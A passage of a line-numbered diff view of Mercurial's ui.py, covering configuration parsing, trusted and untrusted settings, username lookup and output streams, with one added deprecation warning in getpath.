575 b"ui", b"report_untrusted"
575 b"ui", b"report_untrusted"
576 )
576 )
577 self.showtimestamp = self.configbool(b'ui', b'timestamp-output')
577 self.showtimestamp = self.configbool(b'ui', b'timestamp-output')
578 self.tracebackflag = self.configbool(b'ui', b'traceback')
578 self.tracebackflag = self.configbool(b'ui', b'traceback')
579 self.logblockedtimes = self.configbool(b'ui', b'logblockedtimes')
579 self.logblockedtimes = self.configbool(b'ui', b'logblockedtimes')
580
580
581 if section in (None, b'trusted'):
581 if section in (None, b'trusted'):
582 # update trust information
582 # update trust information
583 self._trustusers.update(self.configlist(b'trusted', b'users'))
583 self._trustusers.update(self.configlist(b'trusted', b'users'))
584 self._trustgroups.update(self.configlist(b'trusted', b'groups'))
584 self._trustgroups.update(self.configlist(b'trusted', b'groups'))
585
585
586 if section in (None, b'devel', b'ui') and self.debugflag:
586 if section in (None, b'devel', b'ui') and self.debugflag:
587 tracked = set()
587 tracked = set()
588 if self.configbool(b'devel', b'debug.extensions'):
588 if self.configbool(b'devel', b'debug.extensions'):
589 tracked.add(b'extension')
589 tracked.add(b'extension')
590 if tracked:
590 if tracked:
591 logger = loggingutil.fileobjectlogger(self._ferr, tracked)
591 logger = loggingutil.fileobjectlogger(self._ferr, tracked)
592 self.setlogger(b'debug', logger)
592 self.setlogger(b'debug', logger)
593
593
594 def backupconfig(self, section, item):
594 def backupconfig(self, section, item):
595 return (
595 return (
596 self._ocfg.backup(section, item),
596 self._ocfg.backup(section, item),
597 self._tcfg.backup(section, item),
597 self._tcfg.backup(section, item),
598 self._ucfg.backup(section, item),
598 self._ucfg.backup(section, item),
599 )
599 )
600
600
601 def restoreconfig(self, data):
601 def restoreconfig(self, data):
602 self._ocfg.restore(data[0])
602 self._ocfg.restore(data[0])
603 self._tcfg.restore(data[1])
603 self._tcfg.restore(data[1])
604 self._ucfg.restore(data[2])
604 self._ucfg.restore(data[2])
605
605
606 def setconfig(self, section, name, value, source=b''):
606 def setconfig(self, section, name, value, source=b''):
607 for cfg in (self._ocfg, self._tcfg, self._ucfg):
607 for cfg in (self._ocfg, self._tcfg, self._ucfg):
608 cfg.set(section, name, value, source)
608 cfg.set(section, name, value, source)
609 self.fixconfig(section=section)
609 self.fixconfig(section=section)
610 self._maybetweakdefaults()
610 self._maybetweakdefaults()
611
611
612 def _data(self, untrusted):
612 def _data(self, untrusted):
613 return untrusted and self._ucfg or self._tcfg
613 return untrusted and self._ucfg or self._tcfg
614
614
615 def configsource(self, section, name, untrusted=False):
615 def configsource(self, section, name, untrusted=False):
616 return self._data(untrusted).source(section, name)
616 return self._data(untrusted).source(section, name)
617
617
618 def config(self, section, name, default=_unset, untrusted=False):
618 def config(self, section, name, default=_unset, untrusted=False):
619 """return the plain string version of a config"""
619 """return the plain string version of a config"""
620 value = self._config(
620 value = self._config(
621 section, name, default=default, untrusted=untrusted
621 section, name, default=default, untrusted=untrusted
622 )
622 )
623 if value is _unset:
623 if value is _unset:
624 return None
624 return None
625 return value
625 return value
626
626
627 def _config(self, section, name, default=_unset, untrusted=False):
627 def _config(self, section, name, default=_unset, untrusted=False):
628 value = itemdefault = default
628 value = itemdefault = default
629 item = self._knownconfig.get(section, {}).get(name)
629 item = self._knownconfig.get(section, {}).get(name)
630 alternates = [(section, name)]
630 alternates = [(section, name)]
631
631
632 if item is not None:
632 if item is not None:
633 alternates.extend(item.alias)
633 alternates.extend(item.alias)
634 if callable(item.default):
634 if callable(item.default):
635 itemdefault = item.default()
635 itemdefault = item.default()
636 else:
636 else:
637 itemdefault = item.default
637 itemdefault = item.default
638 else:
638 else:
639 msg = b"accessing unregistered config item: '%s.%s'"
639 msg = b"accessing unregistered config item: '%s.%s'"
640 msg %= (section, name)
640 msg %= (section, name)
641 self.develwarn(msg, 2, b'warn-config-unknown')
641 self.develwarn(msg, 2, b'warn-config-unknown')
642
642
643 if default is _unset:
643 if default is _unset:
644 if item is None:
644 if item is None:
645 value = default
645 value = default
646 elif item.default is configitems.dynamicdefault:
646 elif item.default is configitems.dynamicdefault:
647 value = None
647 value = None
648 msg = b"config item requires an explicit default value: '%s.%s'"
648 msg = b"config item requires an explicit default value: '%s.%s'"
649 msg %= (section, name)
649 msg %= (section, name)
650 self.develwarn(msg, 2, b'warn-config-default')
650 self.develwarn(msg, 2, b'warn-config-default')
651 else:
651 else:
652 value = itemdefault
652 value = itemdefault
653 elif (
653 elif (
654 item is not None
654 item is not None
655 and item.default is not configitems.dynamicdefault
655 and item.default is not configitems.dynamicdefault
656 and default != itemdefault
656 and default != itemdefault
657 ):
657 ):
658 msg = (
658 msg = (
659 b"specifying a mismatched default value for a registered "
659 b"specifying a mismatched default value for a registered "
660 b"config item: '%s.%s' '%s'"
660 b"config item: '%s.%s' '%s'"
661 )
661 )
662 msg %= (section, name, pycompat.bytestr(default))
662 msg %= (section, name, pycompat.bytestr(default))
663 self.develwarn(msg, 2, b'warn-config-default')
663 self.develwarn(msg, 2, b'warn-config-default')
664
664
665 candidates = []
665 candidates = []
666 config = self._data(untrusted)
666 config = self._data(untrusted)
667 for s, n in alternates:
667 for s, n in alternates:
668 candidate = config.get(s, n, None)
668 candidate = config.get(s, n, None)
669 if candidate is not None:
669 if candidate is not None:
670 candidates.append((s, n, candidate))
670 candidates.append((s, n, candidate))
671 if candidates:
671 if candidates:
672
672
673 def level(x):
673 def level(x):
674 return config.level(x[0], x[1])
674 return config.level(x[0], x[1])
675
675
676 value = max(candidates, key=level)[2]
676 value = max(candidates, key=level)[2]
677
677
678 if self.debugflag and not untrusted and self._reportuntrusted:
678 if self.debugflag and not untrusted and self._reportuntrusted:
679 for s, n in alternates:
679 for s, n in alternates:
680 uvalue = self._ucfg.get(s, n)
680 uvalue = self._ucfg.get(s, n)
681 if uvalue is not None and uvalue != value:
681 if uvalue is not None and uvalue != value:
682 self.debug(
682 self.debug(
683 b"ignoring untrusted configuration option "
683 b"ignoring untrusted configuration option "
684 b"%s.%s = %s\n" % (s, n, uvalue)
684 b"%s.%s = %s\n" % (s, n, uvalue)
685 )
685 )
686 return value
686 return value
687
687
688 def config_default(self, section, name):
688 def config_default(self, section, name):
689 """return the default value for a config option
689 """return the default value for a config option
690
690
691 The default is returned "raw", for example if it is a callable, the
691 The default is returned "raw", for example if it is a callable, the
692 callable was not called.
692 callable was not called.
693 """
693 """
694 item = self._knownconfig.get(section, {}).get(name)
694 item = self._knownconfig.get(section, {}).get(name)
695
695
696 if item is None:
696 if item is None:
697 raise KeyError((section, name))
697 raise KeyError((section, name))
698 return item.default
698 return item.default
699
699
700 def configsuboptions(self, section, name, default=_unset, untrusted=False):
700 def configsuboptions(self, section, name, default=_unset, untrusted=False):
701 """Get a config option and all sub-options.
701 """Get a config option and all sub-options.
702
702
703 Some config options have sub-options that are declared with the
703 Some config options have sub-options that are declared with the
704 format "key:opt = value". This method is used to return the main
704 format "key:opt = value". This method is used to return the main
705 option and all its declared sub-options.
705 option and all its declared sub-options.
706
706
707 Returns a 2-tuple of ``(option, sub-options)``, where `sub-options``
707 Returns a 2-tuple of ``(option, sub-options)``, where `sub-options``
708 is a dict of defined sub-options where keys and values are strings.
708 is a dict of defined sub-options where keys and values are strings.
709 """
709 """
710 main = self.config(section, name, default, untrusted=untrusted)
710 main = self.config(section, name, default, untrusted=untrusted)
711 data = self._data(untrusted)
711 data = self._data(untrusted)
712 sub = {}
712 sub = {}
713 prefix = b'%s:' % name
713 prefix = b'%s:' % name
714 for k, v in data.items(section):
714 for k, v in data.items(section):
715 if k.startswith(prefix):
715 if k.startswith(prefix):
716 sub[k[len(prefix) :]] = v
716 sub[k[len(prefix) :]] = v
717
717
718 if self.debugflag and not untrusted and self._reportuntrusted:
718 if self.debugflag and not untrusted and self._reportuntrusted:
719 for k, v in sub.items():
719 for k, v in sub.items():
720 uvalue = self._ucfg.get(section, b'%s:%s' % (name, k))
720 uvalue = self._ucfg.get(section, b'%s:%s' % (name, k))
721 if uvalue is not None and uvalue != v:
721 if uvalue is not None and uvalue != v:
722 self.debug(
722 self.debug(
723 b'ignoring untrusted configuration option '
723 b'ignoring untrusted configuration option '
724 b'%s:%s.%s = %s\n' % (section, name, k, uvalue)
724 b'%s:%s.%s = %s\n' % (section, name, k, uvalue)
725 )
725 )
726
726
727 return main, sub
727 return main, sub
728
728
729 def configpath(self, section, name, default=_unset, untrusted=False):
729 def configpath(self, section, name, default=_unset, untrusted=False):
730 """get a path config item, expanded relative to repo root or config
730 """get a path config item, expanded relative to repo root or config
731 file"""
731 file"""
732 v = self.config(section, name, default, untrusted)
732 v = self.config(section, name, default, untrusted)
733 if v is None:
733 if v is None:
734 return None
734 return None
735 if not os.path.isabs(v) or b"://" not in v:
735 if not os.path.isabs(v) or b"://" not in v:
736 src = self.configsource(section, name, untrusted)
736 src = self.configsource(section, name, untrusted)
737 if b':' in src:
737 if b':' in src:
738 base = os.path.dirname(src.rsplit(b':')[0])
738 base = os.path.dirname(src.rsplit(b':')[0])
739 v = os.path.join(base, os.path.expanduser(v))
739 v = os.path.join(base, os.path.expanduser(v))
740 return v
740 return v
741
741
742 def configbool(self, section, name, default=_unset, untrusted=False):
742 def configbool(self, section, name, default=_unset, untrusted=False):
743 """parse a configuration element as a boolean
743 """parse a configuration element as a boolean
744
744
745 >>> u = ui(); s = b'foo'
745 >>> u = ui(); s = b'foo'
746 >>> u.setconfig(s, b'true', b'yes')
746 >>> u.setconfig(s, b'true', b'yes')
747 >>> u.configbool(s, b'true')
747 >>> u.configbool(s, b'true')
748 True
748 True
749 >>> u.setconfig(s, b'false', b'no')
749 >>> u.setconfig(s, b'false', b'no')
750 >>> u.configbool(s, b'false')
750 >>> u.configbool(s, b'false')
751 False
751 False
752 >>> u.configbool(s, b'unknown')
752 >>> u.configbool(s, b'unknown')
753 False
753 False
754 >>> u.configbool(s, b'unknown', True)
754 >>> u.configbool(s, b'unknown', True)
755 True
755 True
756 >>> u.setconfig(s, b'invalid', b'somevalue')
756 >>> u.setconfig(s, b'invalid', b'somevalue')
757 >>> u.configbool(s, b'invalid')
757 >>> u.configbool(s, b'invalid')
758 Traceback (most recent call last):
758 Traceback (most recent call last):
759 ...
759 ...
760 ConfigError: foo.invalid is not a boolean ('somevalue')
760 ConfigError: foo.invalid is not a boolean ('somevalue')
761 """
761 """
762
762
763 v = self._config(section, name, default, untrusted=untrusted)
763 v = self._config(section, name, default, untrusted=untrusted)
764 if v is None:
764 if v is None:
765 return v
765 return v
766 if v is _unset:
766 if v is _unset:
767 if default is _unset:
767 if default is _unset:
768 return False
768 return False
769 return default
769 return default
770 if isinstance(v, bool):
770 if isinstance(v, bool):
771 return v
771 return v
772 b = stringutil.parsebool(v)
772 b = stringutil.parsebool(v)
773 if b is None:
773 if b is None:
774 raise error.ConfigError(
774 raise error.ConfigError(
775 _(b"%s.%s is not a boolean ('%s')") % (section, name, v)
775 _(b"%s.%s is not a boolean ('%s')") % (section, name, v)
776 )
776 )
777 return b
777 return b
778
778
779 def configwith(
779 def configwith(
780 self, convert, section, name, default=_unset, desc=None, untrusted=False
780 self, convert, section, name, default=_unset, desc=None, untrusted=False
781 ):
781 ):
782 """parse a configuration element with a conversion function
782 """parse a configuration element with a conversion function
783
783
784 >>> u = ui(); s = b'foo'
784 >>> u = ui(); s = b'foo'
785 >>> u.setconfig(s, b'float1', b'42')
785 >>> u.setconfig(s, b'float1', b'42')
786 >>> u.configwith(float, s, b'float1')
786 >>> u.configwith(float, s, b'float1')
787 42.0
787 42.0
788 >>> u.setconfig(s, b'float2', b'-4.25')
788 >>> u.setconfig(s, b'float2', b'-4.25')
789 >>> u.configwith(float, s, b'float2')
789 >>> u.configwith(float, s, b'float2')
790 -4.25
790 -4.25
791 >>> u.configwith(float, s, b'unknown', 7)
791 >>> u.configwith(float, s, b'unknown', 7)
792 7.0
792 7.0
793 >>> u.setconfig(s, b'invalid', b'somevalue')
793 >>> u.setconfig(s, b'invalid', b'somevalue')
794 >>> u.configwith(float, s, b'invalid')
794 >>> u.configwith(float, s, b'invalid')
795 Traceback (most recent call last):
795 Traceback (most recent call last):
796 ...
796 ...
797 ConfigError: foo.invalid is not a valid float ('somevalue')
797 ConfigError: foo.invalid is not a valid float ('somevalue')
798 >>> u.configwith(float, s, b'invalid', desc=b'womble')
798 >>> u.configwith(float, s, b'invalid', desc=b'womble')
799 Traceback (most recent call last):
799 Traceback (most recent call last):
800 ...
800 ...
801 ConfigError: foo.invalid is not a valid womble ('somevalue')
801 ConfigError: foo.invalid is not a valid womble ('somevalue')
802 """
802 """
803
803
804 v = self.config(section, name, default, untrusted)
804 v = self.config(section, name, default, untrusted)
805 if v is None:
805 if v is None:
806 return v # do not attempt to convert None
806 return v # do not attempt to convert None
807 try:
807 try:
808 return convert(v)
808 return convert(v)
809 except (ValueError, error.ParseError):
809 except (ValueError, error.ParseError):
810 if desc is None:
810 if desc is None:
811 desc = pycompat.sysbytes(convert.__name__)
811 desc = pycompat.sysbytes(convert.__name__)
812 raise error.ConfigError(
812 raise error.ConfigError(
813 _(b"%s.%s is not a valid %s ('%s')") % (section, name, desc, v)
813 _(b"%s.%s is not a valid %s ('%s')") % (section, name, desc, v)
814 )
814 )
815
815
816 def configint(self, section, name, default=_unset, untrusted=False):
816 def configint(self, section, name, default=_unset, untrusted=False):
817 """parse a configuration element as an integer
817 """parse a configuration element as an integer
818
818
819 >>> u = ui(); s = b'foo'
819 >>> u = ui(); s = b'foo'
820 >>> u.setconfig(s, b'int1', b'42')
820 >>> u.setconfig(s, b'int1', b'42')
821 >>> u.configint(s, b'int1')
821 >>> u.configint(s, b'int1')
822 42
822 42
823 >>> u.setconfig(s, b'int2', b'-42')
823 >>> u.setconfig(s, b'int2', b'-42')
824 >>> u.configint(s, b'int2')
824 >>> u.configint(s, b'int2')
825 -42
825 -42
826 >>> u.configint(s, b'unknown', 7)
826 >>> u.configint(s, b'unknown', 7)
827 7
827 7
828 >>> u.setconfig(s, b'invalid', b'somevalue')
828 >>> u.setconfig(s, b'invalid', b'somevalue')
829 >>> u.configint(s, b'invalid')
829 >>> u.configint(s, b'invalid')
830 Traceback (most recent call last):
830 Traceback (most recent call last):
831 ...
831 ...
832 ConfigError: foo.invalid is not a valid integer ('somevalue')
832 ConfigError: foo.invalid is not a valid integer ('somevalue')
833 """
833 """
834
834
835 return self.configwith(
835 return self.configwith(
836 int, section, name, default, b'integer', untrusted
836 int, section, name, default, b'integer', untrusted
837 )
837 )
838
838
839 def configbytes(self, section, name, default=_unset, untrusted=False):
839 def configbytes(self, section, name, default=_unset, untrusted=False):
840 """parse a configuration element as a quantity in bytes
840 """parse a configuration element as a quantity in bytes
841
841
842 Units can be specified as b (bytes), k or kb (kilobytes), m or
842 Units can be specified as b (bytes), k or kb (kilobytes), m or
843 mb (megabytes), g or gb (gigabytes).
843 mb (megabytes), g or gb (gigabytes).
844
844
845 >>> u = ui(); s = b'foo'
845 >>> u = ui(); s = b'foo'
846 >>> u.setconfig(s, b'val1', b'42')
846 >>> u.setconfig(s, b'val1', b'42')
847 >>> u.configbytes(s, b'val1')
847 >>> u.configbytes(s, b'val1')
848 42
848 42
849 >>> u.setconfig(s, b'val2', b'42.5 kb')
849 >>> u.setconfig(s, b'val2', b'42.5 kb')
850 >>> u.configbytes(s, b'val2')
850 >>> u.configbytes(s, b'val2')
851 43520
851 43520
852 >>> u.configbytes(s, b'unknown', b'7 MB')
852 >>> u.configbytes(s, b'unknown', b'7 MB')
853 7340032
853 7340032
854 >>> u.setconfig(s, b'invalid', b'somevalue')
854 >>> u.setconfig(s, b'invalid', b'somevalue')
855 >>> u.configbytes(s, b'invalid')
855 >>> u.configbytes(s, b'invalid')
856 Traceback (most recent call last):
856 Traceback (most recent call last):
857 ...
857 ...
858 ConfigError: foo.invalid is not a byte quantity ('somevalue')
858 ConfigError: foo.invalid is not a byte quantity ('somevalue')
859 """
859 """
860
860
861 value = self._config(section, name, default, untrusted)
861 value = self._config(section, name, default, untrusted)
862 if value is _unset:
862 if value is _unset:
863 if default is _unset:
863 if default is _unset:
864 default = 0
864 default = 0
865 value = default
865 value = default
866 if not isinstance(value, bytes):
866 if not isinstance(value, bytes):
867 return value
867 return value
868 try:
868 try:
869 return util.sizetoint(value)
869 return util.sizetoint(value)
870 except error.ParseError:
870 except error.ParseError:
871 raise error.ConfigError(
871 raise error.ConfigError(
872 _(b"%s.%s is not a byte quantity ('%s')")
872 _(b"%s.%s is not a byte quantity ('%s')")
873 % (section, name, value)
873 % (section, name, value)
874 )
874 )
875
875
876 def configlist(self, section, name, default=_unset, untrusted=False):
876 def configlist(self, section, name, default=_unset, untrusted=False):
877 """parse a configuration element as a list of comma/space separated
877 """parse a configuration element as a list of comma/space separated
878 strings
878 strings
879
879
880 >>> u = ui(); s = b'foo'
880 >>> u = ui(); s = b'foo'
881 >>> u.setconfig(s, b'list1', b'this,is "a small" ,test')
881 >>> u.setconfig(s, b'list1', b'this,is "a small" ,test')
882 >>> u.configlist(s, b'list1')
882 >>> u.configlist(s, b'list1')
883 ['this', 'is', 'a small', 'test']
883 ['this', 'is', 'a small', 'test']
884 >>> u.setconfig(s, b'list2', b'this, is "a small" , test ')
884 >>> u.setconfig(s, b'list2', b'this, is "a small" , test ')
885 >>> u.configlist(s, b'list2')
885 >>> u.configlist(s, b'list2')
886 ['this', 'is', 'a small', 'test']
886 ['this', 'is', 'a small', 'test']
887 """
887 """
888 # default is not always a list
888 # default is not always a list
889 v = self.configwith(
889 v = self.configwith(
890 config.parselist, section, name, default, b'list', untrusted
890 config.parselist, section, name, default, b'list', untrusted
891 )
891 )
892 if isinstance(v, bytes):
892 if isinstance(v, bytes):
893 return config.parselist(v)
893 return config.parselist(v)
894 elif v is None:
894 elif v is None:
895 return []
895 return []
896 return v
896 return v
897
897
898 def configdate(self, section, name, default=_unset, untrusted=False):
898 def configdate(self, section, name, default=_unset, untrusted=False):
899 """parse a configuration element as a tuple of ints
899 """parse a configuration element as a tuple of ints
900
900
901 >>> u = ui(); s = b'foo'
901 >>> u = ui(); s = b'foo'
902 >>> u.setconfig(s, b'date', b'0 0')
902 >>> u.setconfig(s, b'date', b'0 0')
903 >>> u.configdate(s, b'date')
903 >>> u.configdate(s, b'date')
904 (0, 0)
904 (0, 0)
905 """
905 """
906 if self.config(section, name, default, untrusted):
906 if self.config(section, name, default, untrusted):
907 return self.configwith(
907 return self.configwith(
908 dateutil.parsedate, section, name, default, b'date', untrusted
908 dateutil.parsedate, section, name, default, b'date', untrusted
909 )
909 )
910 if default is _unset:
910 if default is _unset:
911 return None
911 return None
912 return default
912 return default
913
913
914 def configdefault(self, section, name):
914 def configdefault(self, section, name):
915 """returns the default value of the config item"""
915 """returns the default value of the config item"""
916 item = self._knownconfig.get(section, {}).get(name)
916 item = self._knownconfig.get(section, {}).get(name)
917 itemdefault = None
917 itemdefault = None
918 if item is not None:
918 if item is not None:
919 if callable(item.default):
919 if callable(item.default):
920 itemdefault = item.default()
920 itemdefault = item.default()
921 else:
921 else:
922 itemdefault = item.default
922 itemdefault = item.default
923 return itemdefault
923 return itemdefault
924
924
925 def hasconfig(self, section, name, untrusted=False):
925 def hasconfig(self, section, name, untrusted=False):
926 return self._data(untrusted).hasitem(section, name)
926 return self._data(untrusted).hasitem(section, name)
927
927
928 def has_section(self, section, untrusted=False):
928 def has_section(self, section, untrusted=False):
929 '''tell whether section exists in config.'''
929 '''tell whether section exists in config.'''
930 return section in self._data(untrusted)
930 return section in self._data(untrusted)
931
931
932 def configitems(self, section, untrusted=False, ignoresub=False):
932 def configitems(self, section, untrusted=False, ignoresub=False):
933 items = self._data(untrusted).items(section)
933 items = self._data(untrusted).items(section)
934 if ignoresub:
934 if ignoresub:
935 items = [i for i in items if b':' not in i[0]]
935 items = [i for i in items if b':' not in i[0]]
936 if self.debugflag and not untrusted and self._reportuntrusted:
936 if self.debugflag and not untrusted and self._reportuntrusted:
937 for k, v in self._ucfg.items(section):
937 for k, v in self._ucfg.items(section):
938 if self._tcfg.get(section, k) != v:
938 if self._tcfg.get(section, k) != v:
939 self.debug(
939 self.debug(
940 b"ignoring untrusted configuration option "
940 b"ignoring untrusted configuration option "
941 b"%s.%s = %s\n" % (section, k, v)
941 b"%s.%s = %s\n" % (section, k, v)
942 )
942 )
943 return items
943 return items
944
944
945 def walkconfig(self, untrusted=False):
945 def walkconfig(self, untrusted=False):
946 cfg = self._data(untrusted)
946 cfg = self._data(untrusted)
947 for section in cfg.sections():
947 for section in cfg.sections():
948 for name, value in self.configitems(section, untrusted):
948 for name, value in self.configitems(section, untrusted):
949 yield section, name, value
949 yield section, name, value
950
950
951 def plain(self, feature=None):
951 def plain(self, feature=None):
952 """is plain mode active?
952 """is plain mode active?
953
953
954 Plain mode means that all configuration variables which affect
954 Plain mode means that all configuration variables which affect
955 the behavior and output of Mercurial should be
955 the behavior and output of Mercurial should be
956 ignored. Additionally, the output should be stable,
956 ignored. Additionally, the output should be stable,
957 reproducible and suitable for use in scripts or applications.
957 reproducible and suitable for use in scripts or applications.
958
958
959 The only way to trigger plain mode is by setting either the
959 The only way to trigger plain mode is by setting either the
960 `HGPLAIN' or `HGPLAINEXCEPT' environment variables.
960 `HGPLAIN' or `HGPLAINEXCEPT' environment variables.
961
961
962 The return value can either be
962 The return value can either be
963 - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT
963 - False if HGPLAIN is not set, or feature is in HGPLAINEXCEPT
964 - False if feature is disabled by default and not included in HGPLAIN
964 - False if feature is disabled by default and not included in HGPLAIN
965 - True otherwise
965 - True otherwise
966 """
966 """
967 if (
967 if (
968 b'HGPLAIN' not in encoding.environ
968 b'HGPLAIN' not in encoding.environ
969 and b'HGPLAINEXCEPT' not in encoding.environ
969 and b'HGPLAINEXCEPT' not in encoding.environ
970 ):
970 ):
971 return False
971 return False
972 exceptions = (
972 exceptions = (
973 encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',')
973 encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',')
974 )
974 )
975 # TODO: add support for HGPLAIN=+feature,-feature syntax
975 # TODO: add support for HGPLAIN=+feature,-feature syntax
976 if b'+strictflags' not in encoding.environ.get(b'HGPLAIN', b'').split(
976 if b'+strictflags' not in encoding.environ.get(b'HGPLAIN', b'').split(
977 b','
977 b','
978 ):
978 ):
979 exceptions.append(b'strictflags')
979 exceptions.append(b'strictflags')
980 if feature and exceptions:
980 if feature and exceptions:
981 return feature not in exceptions
981 return feature not in exceptions
982 return True
982 return True
983
983
984 def username(self, acceptempty=False):
984 def username(self, acceptempty=False):
985 """Return default username to be used in commits.
985 """Return default username to be used in commits.
986
986
987 Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
987 Searched in this order: $HGUSER, [ui] section of hgrcs, $EMAIL
988 and stop searching if one of these is set.
988 and stop searching if one of these is set.
989 If not found and acceptempty is True, returns None.
989 If not found and acceptempty is True, returns None.
990 If not found and ui.askusername is True, ask the user, else use
990 If not found and ui.askusername is True, ask the user, else use
991 ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
991 ($LOGNAME or $USER or $LNAME or $USERNAME) + "@full.hostname".
992 If no username could be found, raise an Abort error.
992 If no username could be found, raise an Abort error.
993 """
993 """
994 user = encoding.environ.get(b"HGUSER")
994 user = encoding.environ.get(b"HGUSER")
995 if user is None:
995 if user is None:
996 user = self.config(b"ui", b"username")
996 user = self.config(b"ui", b"username")
997 if user is not None:
997 if user is not None:
998 user = os.path.expandvars(user)
998 user = os.path.expandvars(user)
999 if user is None:
999 if user is None:
1000 user = encoding.environ.get(b"EMAIL")
1000 user = encoding.environ.get(b"EMAIL")
1001 if user is None and acceptempty:
1001 if user is None and acceptempty:
1002 return user
1002 return user
1003 if user is None and self.configbool(b"ui", b"askusername"):
1003 if user is None and self.configbool(b"ui", b"askusername"):
1004 user = self.prompt(_(b"enter a commit username:"), default=None)
1004 user = self.prompt(_(b"enter a commit username:"), default=None)
1005 if user is None and not self.interactive():
1005 if user is None and not self.interactive():
1006 try:
1006 try:
1007 user = b'%s@%s' % (
1007 user = b'%s@%s' % (
1008 procutil.getuser(),
1008 procutil.getuser(),
1009 encoding.strtolocal(socket.getfqdn()),
1009 encoding.strtolocal(socket.getfqdn()),
1010 )
1010 )
1011 self.warn(_(b"no username found, using '%s' instead\n") % user)
1011 self.warn(_(b"no username found, using '%s' instead\n") % user)
1012 except KeyError:
1012 except KeyError:
1013 pass
1013 pass
1014 if not user:
1014 if not user:
1015 raise error.Abort(
1015 raise error.Abort(
1016 _(b'no username supplied'),
1016 _(b'no username supplied'),
1017 hint=_(b"use 'hg config --edit' " b'to set your username'),
1017 hint=_(b"use 'hg config --edit' " b'to set your username'),
1018 )
1018 )
1019 if b"\n" in user:
1019 if b"\n" in user:
1020 raise error.Abort(
1020 raise error.Abort(
1021 _(b"username %r contains a newline\n") % pycompat.bytestr(user)
1021 _(b"username %r contains a newline\n") % pycompat.bytestr(user)
1022 )
1022 )
1023 return user
1023 return user
1024
1024
1025 def shortuser(self, user):
1025 def shortuser(self, user):
1026 """Return a short representation of a user name or email address."""
1026 """Return a short representation of a user name or email address."""
1027 if not self.verbose:
1027 if not self.verbose:
1028 user = stringutil.shortuser(user)
1028 user = stringutil.shortuser(user)
1029 return user
1029 return user
1030
1030
1031 def expandpath(self, loc, default=None):
1031 def expandpath(self, loc, default=None):
1032 """Return repository location relative to cwd or from [paths]"""
1032 """Return repository location relative to cwd or from [paths]"""
1033 msg = b'ui.expandpath is deprecated, use `get_*` functions from urlutil'
1033 msg = b'ui.expandpath is deprecated, use `get_*` functions from urlutil'
1034 self.deprecwarn(msg, b'6.0')
1034 self.deprecwarn(msg, b'6.0')
1035 try:
1035 try:
1036 p = self.getpath(loc)
1036 p = self.getpath(loc)
1037 if p:
1037 if p:
1038 return p.rawloc
1038 return p.rawloc
1039 except error.RepoError:
1039 except error.RepoError:
1040 pass
1040 pass
1041
1041
1042 if default:
1042 if default:
1043 try:
1043 try:
1044 p = self.getpath(default)
1044 p = self.getpath(default)
1045 if p:
1045 if p:
1046 return p.rawloc
1046 return p.rawloc
1047 except error.RepoError:
1047 except error.RepoError:
1048 pass
1048 pass
1049
1049
1050 return loc
1050 return loc
1051
1051
1052 @util.propertycache
1052 @util.propertycache
1053 def paths(self):
1053 def paths(self):
1054 return urlutil.paths(self)
1054 return urlutil.paths(self)
1055
1055
1056 def getpath(self, *args, **kwargs):
1056 def getpath(self, *args, **kwargs):
1057 """see paths.getpath for details
1057 """see paths.getpath for details
1058
1058
1059 This method exist as `getpath` need a ui for potential warning message.
1059 This method exist as `getpath` need a ui for potential warning message.
1060 """
1060 """
1061 msg = b'ui.getpath is deprecated, use `get_*` functions from urlutil'
1062 self.deprecwarn(msg, '6.0')
1061 return self.paths.getpath(self, *args, **kwargs)
1063 return self.paths.getpath(self, *args, **kwargs)
1062
1064
1063 @property
1065 @property
1064 def fout(self):
1066 def fout(self):
1065 return self._fout
1067 return self._fout
1066
1068
1067 @fout.setter
1069 @fout.setter
1068 def fout(self, f):
1070 def fout(self, f):
1069 self._fout = f
1071 self._fout = f
1070 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1072 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1071
1073
1072 @property
1074 @property
1073 def ferr(self):
1075 def ferr(self):
1074 return self._ferr
1076 return self._ferr
1075
1077
1076 @ferr.setter
1078 @ferr.setter
1077 def ferr(self, f):
1079 def ferr(self, f):
1078 self._ferr = f
1080 self._ferr = f
1079 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1081 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1080
1082
1081 @property
1083 @property
1082 def fin(self):
1084 def fin(self):
1083 return self._fin
1085 return self._fin
1084
1086
1085 @fin.setter
1087 @fin.setter
1086 def fin(self, f):
1088 def fin(self, f):
1087 self._fin = f
1089 self._fin = f
1088
1090
1089 @property
1091 @property
1090 def fmsg(self):
1092 def fmsg(self):
1091 """Stream dedicated for status/error messages; may be None if
1093 """Stream dedicated for status/error messages; may be None if
1092 fout/ferr are used"""
1094 fout/ferr are used"""
1093 return self._fmsg
1095 return self._fmsg
1094
1096
1095 @fmsg.setter
1097 @fmsg.setter
1096 def fmsg(self, f):
1098 def fmsg(self, f):
1097 self._fmsg = f
1099 self._fmsg = f
1098 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1100 self._fmsgout, self._fmsgerr = _selectmsgdests(self)
1099
1101
1100 def pushbuffer(self, error=False, subproc=False, labeled=False):
1102 def pushbuffer(self, error=False, subproc=False, labeled=False):
1101 """install a buffer to capture standard output of the ui object
1103 """install a buffer to capture standard output of the ui object
1102
1104
1103 If error is True, the error output will be captured too.
1105 If error is True, the error output will be captured too.
1104
1106
1105 If subproc is True, output from subprocesses (typically hooks) will be
1107 If subproc is True, output from subprocesses (typically hooks) will be
1106 captured too.
1108 captured too.
1107
1109
1108 If labeled is True, any labels associated with buffered
1110 If labeled is True, any labels associated with buffered
1109 output will be handled. By default, this has no effect
1111 output will be handled. By default, this has no effect
1110 on the output returned, but extensions and GUI tools may
1112 on the output returned, but extensions and GUI tools may
1111 handle this argument and returned styled output. If output
1113 handle this argument and returned styled output. If output
1112 is being buffered so it can be captured and parsed or
1114 is being buffered so it can be captured and parsed or
1113 processed, labeled should not be set to True.
1115 processed, labeled should not be set to True.
1114 """
1116 """
1115 self._buffers.append([])
1117 self._buffers.append([])
1116 self._bufferstates.append((error, subproc, labeled))
1118 self._bufferstates.append((error, subproc, labeled))
1117 self._bufferapplylabels = labeled
1119 self._bufferapplylabels = labeled
1118
1120
1119 def popbuffer(self):
1121 def popbuffer(self):
1120 '''pop the last buffer and return the buffered output'''
